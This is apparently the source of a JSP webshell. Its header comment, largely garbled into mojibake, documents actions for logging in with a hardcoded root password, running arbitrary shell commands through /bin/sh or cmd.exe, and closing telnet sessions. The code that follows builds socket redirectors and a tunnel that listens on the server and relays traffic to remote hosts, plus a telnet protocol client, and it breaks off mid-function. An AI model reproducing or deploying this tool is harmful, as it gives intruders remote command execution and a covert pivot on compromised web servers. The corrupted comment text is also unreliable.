><EFBFBD>80<38>˿ڣ<CBBF><DAA3><EFBFBD><EFBFBD>ҷ<EFBFBD><D2B7><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Internet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַdz<D6B7><C7B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Telnet<65><74><EFBFBD><EFBFBD>:-)
|
||||||
|
* action=login&username=root&password=helloroot&myPort=65534 -- <20><>һ<EFBFBD><D2BB>ֻ<EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>ҪTelnet<65><74>̨<EFBFBD><CCA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ſ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>Ҫtelnet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ร<EFBFBD>Ҫ<EFBFBD><D2AA>Ȼ˭Ҳû<D2B2>취<EFBFBD><ECB7A8>
|
||||||
|
* action=send&myShell=&myPort=&cmd= -- <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD>ô<EFBFBD><C3B4><EFBFBD>Ϳ<EFBFBD><CDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϱ<EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD>myShell<6C><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǣ<EFBFBD><C7A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֪<EFBFBD><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôʱ<C3B4><CAB1><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ҫд<D2AA><D0B4>ร<EFBFBD><E0B8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٺ٣<D9BA><D9A3><EFBFBD><EFBFBD>鷳<EFBFBD>ޣ<EFBFBD><DEA3><EFBFBD>cmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫִ<D2AA>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>磺<EFBFBD><E7A3BA>which ssh<73><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>棺myShell=lovehacker&cmd=ls -la;echo lovehacker<65><72>
|
||||||
|
* action=close&myPort= -- <20><><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>telnet<65><74>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͽ<EFBFBD><CFBF>ŵĶ˿ڻ<CBBF>û<EFBFBD>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֳ<EFBFBD><D6B3><EFBFBD>ɨ<EFBFBD>ɾ<EFBFBD><C9BE>
|
||||||
|
* action=shell&cmd= -- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>̨<EFBFBD><CCA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD>Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\winnt\system32\cmd.exe /c type c:\winnt\win.ini
|
||||||
|
* <20><><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>
|
||||||
|
* <20><>ͨ<EFBFBD><CDA8>jspʵ<70><CAB5>telnet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʵͷʹ<CDB7><CDB4>һ<EFBFBD>ѣ<EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>µ<EFBFBD><C2B5>̣߳<DFB3>client socketȥ<74><C8A5><EFBFBD><EFBFBD>
|
||||||
|
* telnet<65><74><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD><CBB8><EFBFBD><EFBFBD>취<EFBFBD><ECB7A8><EFBFBD><EFBFBD>telnet<65>Ĺ<EFBFBD><C4B9>̷ֲ<CCB7><D6B2><EFBFBD><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD>
|
||||||
|
* <20>յ<EFBFBD>tunnel<65><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿ڵȴ<DAB5><C8B4><EFBFBD><EFBFBD>ӣ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>Ⱥ<EFBFBD>Զ<EFBFBD>̷<EFBFBD><CCB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö˿<C3B6><CBBF><EFBFBD><EFBFBD>Ӳ<EFBFBD>һ
|
||||||
|
* ֱ<><D6B1><EFBFBD>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>server socket<65><74>һ<EFBFBD><D2BB>һ<EFBFBD>ε<EFBFBD><CEB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>һ<EFBFBD>δε<CEB4>ת<EFBFBD><D7AA><EFBFBD><EFBFBD>Զ<EFBFBD>̷<EFBFBD><CCB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϳ<EFBFBD><CDBF>Լ<EFBFBD>¼״̬<D7B4><CCAC>ʵ
|
||||||
|
* <20>ֺ<EFBFBD><D6BA>û<EFBFBD><C3BB>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ܾ<EFBFBD><DCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>취̫<ECB7A8><CCAB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>JSPʵ<50><CAB5>telnet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD>и<EFBFBD><D0B8>õİ취<C4B0>Ļ<EFBFBD><C4BB><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
|
* Ҫ<><D2AA><EFBFBD>Ÿ<EFBFBD><C5B8><EFBFBD><EFBFBD>ҡ<EFBFBD>
|
||||||
|
* <20><>Ȩ˵<C8A8><CBB5><EFBFBD><EFBFBD>
|
||||||
|
* <20><><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>Telnet<65>Ĺ<EFBFBD><C4B9><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>˼Ҵ<CBBC><D2B4><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵģ<C4B5><C4A3><EFBFBD><EFBFBD>ԣ<EFBFBD><D4A3><EFBFBD>Ȩû<C8A8>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ġ<DEB8><C4A1><EFBFBD><EFBFBD>ơ<EFBFBD>
|
||||||
|
* ֻ<>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD>¹<EFBFBD><C2B9>ܱ<EFBFBD><DCB1><EFBFBD><EFBFBD><EFBFBD>Mailһ<6C>ݸ<EFBFBD><DDB8><EFBFBD>ร<EFBFBD>
|
||||||
|
*
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
%>
|
||||||
|
<%@ page import="java.io.*" %>
|
||||||
|
<%@ page import="java.net.*" %>
|
||||||
|
<%@ page import="java.util.*" %>
|
||||||
|
<%@ page import="java.awt.Dimension" %>
|
||||||
|
<%
|
||||||
|
class redirector implements Runnable
|
||||||
|
{
|
||||||
|
private redirector companion = null;
|
||||||
|
private Socket localSocket, remoteSocket;
|
||||||
|
private InputStream from;
|
||||||
|
private OutputStream to;
|
||||||
|
private byte[] buffer = new byte[4096];
|
||||||
|
|
||||||
|
public redirector(Socket local, Socket remote)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
localSocket = local;
|
||||||
|
remoteSocket = remote;
|
||||||
|
from = localSocket.getInputStream();
|
||||||
|
to = remoteSocket.getOutputStream();
|
||||||
|
} catch(Exception e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void couple(redirector c) {
|
||||||
|
companion = c;
|
||||||
|
Thread listen = new Thread(this);
|
||||||
|
listen.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void decouple() { companion = null; }
|
||||||
|
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
int count;
|
||||||
|
try {
|
||||||
|
while(companion != null) {
|
||||||
|
if((count = from.read(buffer)) < 0)
|
||||||
|
break;
|
||||||
|
to.write(buffer, 0, count);
|
||||||
|
}
|
||||||
|
} catch(Exception e) {}
|
||||||
|
try {
|
||||||
|
from.close();
|
||||||
|
to.close();
|
||||||
|
localSocket.close();
|
||||||
|
remoteSocket.close();
|
||||||
|
if(companion != null) companion.decouple();
|
||||||
|
} catch(Exception io) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class redirector1 implements Runnable
|
||||||
|
{
|
||||||
|
private redirector1 companion = null;
|
||||||
|
private Socket localSocket, remoteSocket;
|
||||||
|
private InputStream from;
|
||||||
|
private OutputStream to;
|
||||||
|
private byte[] buffer = new byte[4096];
|
||||||
|
|
||||||
|
public redirector1(Socket local, Socket remote)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
localSocket = local;
|
||||||
|
remoteSocket = remote;
|
||||||
|
from = localSocket.getInputStream();
|
||||||
|
to = remoteSocket.getOutputStream();
|
||||||
|
} catch(Exception e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void couple(redirector1 c) {
|
||||||
|
companion = c;
|
||||||
|
Thread listen = new Thread(this);
|
||||||
|
listen.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void decouple() { companion = null; }
|
||||||
|
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
String tmp = "";
|
||||||
|
int count;
|
||||||
|
try {
|
||||||
|
while(companion != null) {
|
||||||
|
if((count = from.read(buffer)) < 0) break;
|
||||||
|
tmp = new String(buffer);
|
||||||
|
if(tmp.startsWith("--GoodBye--"))
|
||||||
|
{
|
||||||
|
from.close();
|
||||||
|
to.close();
|
||||||
|
remoteSocket.close();
|
||||||
|
localSocket.close();
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
to.write(buffer, 0, count);
|
||||||
|
}
|
||||||
|
} catch(Exception e) {}
|
||||||
|
try {
|
||||||
|
if(companion != null) companion.decouple();
|
||||||
|
} catch(Exception io) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class piped implements Runnable
|
||||||
|
{
|
||||||
|
String remoteHost1,remoteHost2;
|
||||||
|
int remotePort1, remotePort2;
|
||||||
|
|
||||||
|
Thread listener, connection;
|
||||||
|
|
||||||
|
|
||||||
|
public piped(String raddr1,int rport1, String raddr2, int rport2)
|
||||||
|
{
|
||||||
|
remoteHost1 = raddr1; remotePort1 = rport1;
|
||||||
|
remoteHost2 = raddr2; remotePort2 = rport2;
|
||||||
|
listener = new Thread(this);
|
||||||
|
listener.setPriority(Thread.MIN_PRIORITY);
|
||||||
|
listener.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
Socket destinationSocket1 = null;
|
||||||
|
Socket destinationSocket2 = null;
|
||||||
|
try {
|
||||||
|
destinationSocket1 = new Socket(remoteHost1,remotePort1);
|
||||||
|
destinationSocket2 = new Socket(remoteHost2, remotePort2);
|
||||||
|
redirector r1 = new redirector(destinationSocket1, destinationSocket2);
|
||||||
|
redirector r2 = new redirector(destinationSocket2, destinationSocket1);
|
||||||
|
r1.couple(r2);
|
||||||
|
r2.couple(r1);
|
||||||
|
} catch(Exception e) {
|
||||||
|
try {
|
||||||
|
DataOutputStream os = new DataOutputStream(destinationSocket2.getOutputStream());
|
||||||
|
os.writeChars("Remote host refused connection.\n");
|
||||||
|
destinationSocket2.close();
|
||||||
|
} catch(IOException ioe) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class tunnel implements Runnable
|
||||||
|
{
|
||||||
|
String remoteHost;
|
||||||
|
int localPort, remotePort;
|
||||||
|
|
||||||
|
Thread listener, connection;
|
||||||
|
|
||||||
|
ServerSocket server;
|
||||||
|
|
||||||
|
public tunnel(int lport, String raddr, int rport)
|
||||||
|
{
|
||||||
|
localPort = lport;
|
||||||
|
remoteHost = raddr; remotePort = rport;
|
||||||
|
|
||||||
|
try {
|
||||||
|
server = new ServerSocket(localPort);
|
||||||
|
} catch(Exception e) {}
|
||||||
|
|
||||||
|
listener = new Thread(this);
|
||||||
|
listener.setPriority(Thread.MIN_PRIORITY);
|
||||||
|
listener.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
Socket destinationSocket = null;
|
||||||
|
try{
|
||||||
|
destinationSocket = new Socket(remoteHost, remotePort);
|
||||||
|
}catch(Exception e){}
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
Socket localSocket = null;
|
||||||
|
try {
|
||||||
|
localSocket = server.accept();
|
||||||
|
} catch(Exception e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
redirector1 r1 = new redirector1(localSocket, destinationSocket);
|
||||||
|
redirector1 r2 = new redirector1(destinationSocket, localSocket);
|
||||||
|
r1.couple(r2);
|
||||||
|
r2.couple(r1);
|
||||||
|
} catch(Exception e) {
|
||||||
|
try {
|
||||||
|
DataOutputStream os = new DataOutputStream(localSocket.getOutputStream());
|
||||||
|
os.writeChars("Remote host refused connection.\n");
|
||||||
|
localSocket.close();
|
||||||
|
} catch(IOException ioe) {}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class TelnetIO
|
||||||
|
{
|
||||||
|
public String toString() { return "$Id: TelnetIO.java,v 1.10 1998/02/09 10:22:18 leo Exp $"; }
|
||||||
|
|
||||||
|
private int debug = 0;
|
||||||
|
|
||||||
|
private byte neg_state = 0;
|
||||||
|
|
||||||
|
private final static byte STATE_DATA = 0;
|
||||||
|
private final static byte STATE_IAC = 1;
|
||||||
|
private final static byte STATE_IACSB = 2;
|
||||||
|
private final static byte STATE_IACWILL = 3;
|
||||||
|
private final static byte STATE_IACDO = 4;
|
||||||
|
private final static byte STATE_IACWONT = 5;
|
||||||
|
private final static byte STATE_IACDONT = 6;
|
||||||
|
private final static byte STATE_IACSBIAC = 7;
|
||||||
|
private final static byte STATE_IACSBDATA = 8;
|
||||||
|
private final static byte STATE_IACSBDATAIAC = 9;
|
||||||
|
|
||||||
|
private byte current_sb;
|
||||||
|
|
||||||
|
private final static byte IAC = (byte)255;
|
||||||
|
|
||||||
|
private final static byte EOR = (byte)239;
|
||||||
|
|
||||||
|
private final static byte WILL = (byte)251;
|
||||||
|
|
||||||
|
private final static byte WONT = (byte)252;
|
||||||
|
|
||||||
|
private final static byte DO = (byte)253;
|
||||||
|
|
||||||
|
private final static byte DONT = (byte)254;
|
||||||
|
|
||||||
|
private final static byte SB = (byte)250;
|
||||||
|
|
||||||
|
private final static byte SE = (byte)240;
|
||||||
|
|
||||||
|
private final static byte TELOPT_ECHO = (byte)1; /* echo on/off */
|
||||||
|
|
||||||
|
private final static byte TELOPT_EOR = (byte)25; /* end of record */
|
||||||
|
|
||||||
|
private final static byte TELOPT_NAWS = (byte)31; /* NA-WindowSize*/
|
||||||
|
|
||||||
|
private final static byte TELOPT_TTYPE = (byte)24; /* terminal type */
|
||||||
|
|
||||||
|
private final byte[] IACWILL = { IAC, WILL };
|
||||||
|
private final byte[] IACWONT = { IAC, WONT };
|
||||||
|
private final byte[] IACDO = { IAC, DO };
|
||||||
|
private final byte[] IACDONT = { IAC, DONT };
|
||||||
|
private final byte[] IACSB = { IAC, SB };
|
||||||
|
private final byte[] IACSE = { IAC, SE };
|
||||||
|
|
||||||
|
private final byte TELQUAL_IS = (byte)0;
|
||||||
|
|
||||||
|
private final byte TELQUAL_SEND = (byte)1;
|
||||||
|
|
||||||
|
private byte[] receivedDX;
|
||||||
|
|
||||||
|
private byte[] receivedWX;
|
||||||
|
|
||||||
|
private byte[] sentDX;
|
||||||
|
|
||||||
|
private byte[] sentWX;
|
||||||
|
|
||||||
|
private Socket socket;
|
||||||
|
private BufferedInputStream is;
|
||||||
|
private BufferedOutputStream os;
|
||||||
|
|
||||||
|
//private StatusPeer peer = this; /* peer, notified on status */
|
||||||
|
|
||||||
|
public void connect(String address, int port) throws IOException {
|
||||||
|
if(debug > 0) System.out.println("Telnet.connect("+address+","+port+")");
|
||||||
|
socket = new Socket(address, port);
|
||||||
|
is = new BufferedInputStream(socket.getInputStream());
|
||||||
|
os = new BufferedOutputStream(socket.getOutputStream());
|
||||||
|
neg_state = 0;
|
||||||
|
receivedDX = new byte[256];
|
||||||
|
sentDX = new byte[256];
|
||||||
|
receivedWX = new byte[256];
|
||||||
|
sentWX = new byte[256];
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnect() throws IOException {
|
||||||
|
if(debug > 0) System.out.println("TelnetIO.disconnect()");
|
||||||
|
if(socket !=null) socket.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connect(String address) throws IOException {
|
||||||
|
connect(address, 23);
|
||||||
|
}
|
||||||
|
|
||||||
|
//public void setPeer(StatusPeer obj) { peer = obj; }
|
||||||
|
|
||||||
|
public int available() throws IOException
|
||||||
|
{
|
||||||
|
return is.available();
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] receive() throws IOException {
|
||||||
|
int count = is.available();
|
||||||
|
byte buf[] = new byte[count];
|
||||||
|
count = is.read(buf);
|
||||||
|
if(count < 0) throw new IOException("Connection closed.");
|
||||||
|
if(debug > 1) System.out.println("TelnetIO.receive(): read bytes: "+count);
|
||||||
|
buf = negotiate(buf, count);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void send(byte[] buf) throws IOException {
|
||||||
|
if(debug > 1) System.out.println("TelnetIO.send("+buf+")");
|
||||||
|
os.write(buf);
|
||||||
|
os.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void send(byte b) throws IOException {
|
||||||
|
if(debug > 1) System.out.println("TelnetIO.send("+b+")");
|
||||||
|
os.write(b);
|
||||||
|
os.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void handle_sb(byte type, byte[] sbdata, int sbcount)
|
||||||
|
throws IOException
|
||||||
|
{
|
||||||
|
if(debug > 1)
|
||||||
|
System.out.println("TelnetIO.handle_sb("+type+")");
|
||||||
|
switch (type) {
|
||||||
|
case TELOPT_TTYPE:
|
||||||
|
if (sbcount>0 && sbdata[0]==TELQUAL_SEND) {
|
||||||
|
String ttype;
|
||||||
|
send(IACSB);send(TELOPT_TTYPE);send(TELQUAL_IS);
|
||||||
|
/* FIXME: need more logic here if we use
|
||||||
|
* more than one terminal type
|
||||||
|
*/
|
||||||
|
Vector vec = new Vector(2);
|
||||||
|
vec.addElement("TTYPE");
|
||||||
|
ttype = (String)notifyStatus(vec);
|
||||||
|
if(ttype == null) ttype = "dumb";
|
||||||
|
byte[] bttype = new byte[ttype.length()];
|
||||||
|
|
||||||
|
ttype.getBytes(0,ttype.length(), bttype, 0);
|
||||||
|
send(bttype);
|
||||||
|
send(IACSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object notifyStatus(Vector status) {
|
||||||
|
if(debug > 0)
|
||||||
|
System.out.println("TelnetIO.notifyStatus("+status+")");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] negotiate(byte buf[], int count) throws IOException {
|
||||||
|
if(debug > 1)
|
||||||
|
System.out.println("TelnetIO.negotiate("+buf+","+count+")");
|
||||||
|
byte nbuf[] = new byte[count];
|
||||||
|
byte sbbuf[] = new byte[count];
|
||||||
|
byte sendbuf[] = new byte[3];
|
||||||
|
byte b,reply;
|
||||||
|
int sbcount = 0;
|
||||||
|
int boffset = 0, noffset = 0;
|
||||||
|
Vector vec = new Vector(2);
|
||||||
|
|
||||||
|
while(boffset < count) {
|
||||||
|
b=buf[boffset++];
|
||||||
|
|
||||||
|
if (b>=128)
|
||||||
|
b=(byte)((int)b-256);
|
||||||
|
switch (neg_state) {
|
||||||
|
case STATE_DATA:
|
||||||
|
if (b==IAC) {
|
||||||
|
neg_state = STATE_IAC;
|
||||||
|
} else {
|
||||||
|
nbuf[noffset++]=b;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case STATE_IAC:
|
||||||
|
switch (b) {
|
||||||
|
case IAC:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("IAC ");
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
nbuf[noffset++]=IAC;
|
||||||
|
break;
|
||||||
|
case WILL:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("WILL ");
|
||||||
|
neg_state = STATE_IACWILL;
|
||||||
|
break;
|
||||||
|
case WONT:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("WONT ");
|
||||||
|
neg_state = STATE_IACWONT;
|
||||||
|
break;
|
||||||
|
case DONT:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("DONT ");
|
||||||
|
neg_state = STATE_IACDONT;
|
||||||
|
break;
|
||||||
|
case DO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("DO ");
|
||||||
|
neg_state = STATE_IACDO;
|
||||||
|
break;
|
||||||
|
case EOR:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("EOR ");
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case SB:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print("SB ");
|
||||||
|
neg_state = STATE_IACSB;
|
||||||
|
sbcount = 0;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.print(
|
||||||
|
"<UNKNOWN "+b+" > "
|
||||||
|
);
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case STATE_IACWILL:
|
||||||
|
switch(b) {
|
||||||
|
case TELOPT_ECHO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("ECHO");
|
||||||
|
reply = DO;
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("NOLOCALECHO");
|
||||||
|
notifyStatus(vec);
|
||||||
|
break;
|
||||||
|
case TELOPT_EOR:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("EOR");
|
||||||
|
reply = DO;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"<UNKNOWN,"+b+">"
|
||||||
|
);
|
||||||
|
reply = DONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if(debug > 1)
|
||||||
|
System.out.println("<"+b+", WILL ="+WILL+">");
|
||||||
|
if ( reply != sentDX[b+128] ||
|
||||||
|
WILL != receivedWX[b+128]
|
||||||
|
) {
|
||||||
|
sendbuf[0]=IAC;
|
||||||
|
sendbuf[1]=reply;
|
||||||
|
sendbuf[2]=b;
|
||||||
|
send(sendbuf);
|
||||||
|
sentDX[b+128] = reply;
|
||||||
|
receivedWX[b+128] = WILL;
|
||||||
|
}
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case STATE_IACWONT:
|
||||||
|
switch(b) {
|
||||||
|
case TELOPT_ECHO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("ECHO");
|
||||||
|
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("LOCALECHO");
|
||||||
|
notifyStatus(vec);
|
||||||
|
reply = DONT;
|
||||||
|
break;
|
||||||
|
case TELOPT_EOR:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("EOR");
|
||||||
|
reply = DONT;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"<UNKNOWN,"+b+">"
|
||||||
|
);
|
||||||
|
reply = DONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if ( reply != sentDX[b+128] ||
|
||||||
|
WONT != receivedWX[b+128]
|
||||||
|
) {
|
||||||
|
sendbuf[0]=IAC;
|
||||||
|
sendbuf[1]=reply;
|
||||||
|
sendbuf[2]=b;
|
||||||
|
send(sendbuf);
|
||||||
|
sentDX[b+128] = reply;
|
||||||
|
receivedWX[b+128] = WILL;
|
||||||
|
}
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case STATE_IACDO:
|
||||||
|
switch (b) {
|
||||||
|
case TELOPT_ECHO:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("ECHO");
|
||||||
|
reply = WILL;
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("LOCALECHO");
|
||||||
|
notifyStatus(vec);
|
||||||
|
break;
|
||||||
|
case TELOPT_TTYPE:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("TTYPE");
|
||||||
|
reply = WILL;
|
||||||
|
break;
|
||||||
|
case TELOPT_NAWS:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println("NAWS");
|
||||||
|
vec = new Vector(2);
|
||||||
|
vec.addElement("NAWS");
|
||||||
|
Dimension size = (Dimension)
|
||||||
|
notifyStatus(vec);
|
||||||
|
receivedDX[b] = DO;
|
||||||
|
if(size == null)
|
||||||
|
{
|
||||||
|
/* this shouldn't happen */
|
||||||
|
send(IAC);
|
||||||
|
send(WONT);
|
||||||
|
send(TELOPT_NAWS);
|
||||||
|
reply = WONT;
|
||||||
|
sentWX[b] = WONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
reply = WILL;
|
||||||
|
sentWX[b] = WILL;
|
||||||
|
sendbuf[0]=IAC;
|
||||||
|
sendbuf[1]=WILL;
|
||||||
|
sendbuf[2]=TELOPT_NAWS;
|
||||||
|
send(sendbuf);
|
||||||
|
send(IAC);send(SB);send(TELOPT_NAWS);
|
||||||
|
send((byte) (size.width >> 8));
|
||||||
|
send((byte) (size.width & 0xff));
|
||||||
|
send((byte) (size.height >> 8));
|
||||||
|
send((byte) (size.height & 0xff));
|
||||||
|
send(IAC);send(SE);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if(debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"<UNKNOWN,"+b+">"
|
||||||
|
);
|
||||||
|
reply = WONT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if ( reply != sentWX[128+b] ||
|
||||||
|
DO != receivedDX[128+b]
|
||||||
|
) {
|
||||||
|
sendbuf[0]=IAC;
|
